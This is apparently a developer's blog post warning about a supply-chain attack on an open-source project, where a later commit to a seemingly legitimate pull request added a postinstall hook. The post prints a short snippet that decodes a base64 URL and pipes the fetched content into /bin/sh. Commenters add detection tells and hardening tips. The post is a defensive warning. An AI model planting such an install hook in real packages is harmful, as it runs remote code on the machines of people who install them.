A short story about how it sometimes goes. An ordinary workday, the usual rush. A pull request lands in a personal open-source project — a bug fix. I take a quick look:
The bug is hard to reproduce — the app hangs when a machine has two default routes and a VPN is up. A second person shows up in the issue and confirms it: yep, same trouble, exactly the same problem.
I open the author's profile — a serious title, SRE… but almost no GitHub activity. That felt off. What exactly pulled this respectable gentleman out of the shadows for such a small project?
I review it — looks okay, a few things I'd have formatted differently, but nothing suspicious. The second participant, who had sent a harmless PR before, writes again: checked the code, it all works, let's merge. For a while I go back and forth: nitpick a few lines of formatting, or just merge as is.
By the way, I have update notifications set up on GitHub (shameless plug: github.com/yumiaura/myCat). And right then I see a commit come in with:
// package.json
"postinstall": "node scripts/install-app-deps.js"
// scripts/install-app-deps.js
const url = Buffer.from(PAYLOAD_B64, "base64").toString()
// runs silently on install
https.get(url, res => res.pipe(exec("/bin/sh")))
It was hidden in a postinstall script — disguised as a VS Code update. On install it quietly pulled and ran code from a remote server.
I don't know what would've happened if we'd just run it in an IDE. I just wanted to give you a heads-up — this is how it sometimes goes.
How do you review incoming PRs on your open-source projects? 🐱
Top comments (2)
Your step‑by‑step recount of the PR that almost introduced malware really drives home how a quick glance can miss critical red flags. Have you thought about cross‑posting this to ZyVOP (zyvop.com) to share the lesson with an even wider engineering audience?
The strongest defenses: set npm config set ignore-scripts true so hooks don't fire, grep every diff for lifecycle hooks and obfuscation tells (postinstall, Buffer.from(…, "base64"), child_process, curl | sh), scrutinize lockfile changes and newly-added dependencies, and since the attack banks on a clean first review followed by a sneaky later commit. Always re-review the full diff at merge time rather than trusting a stale approval.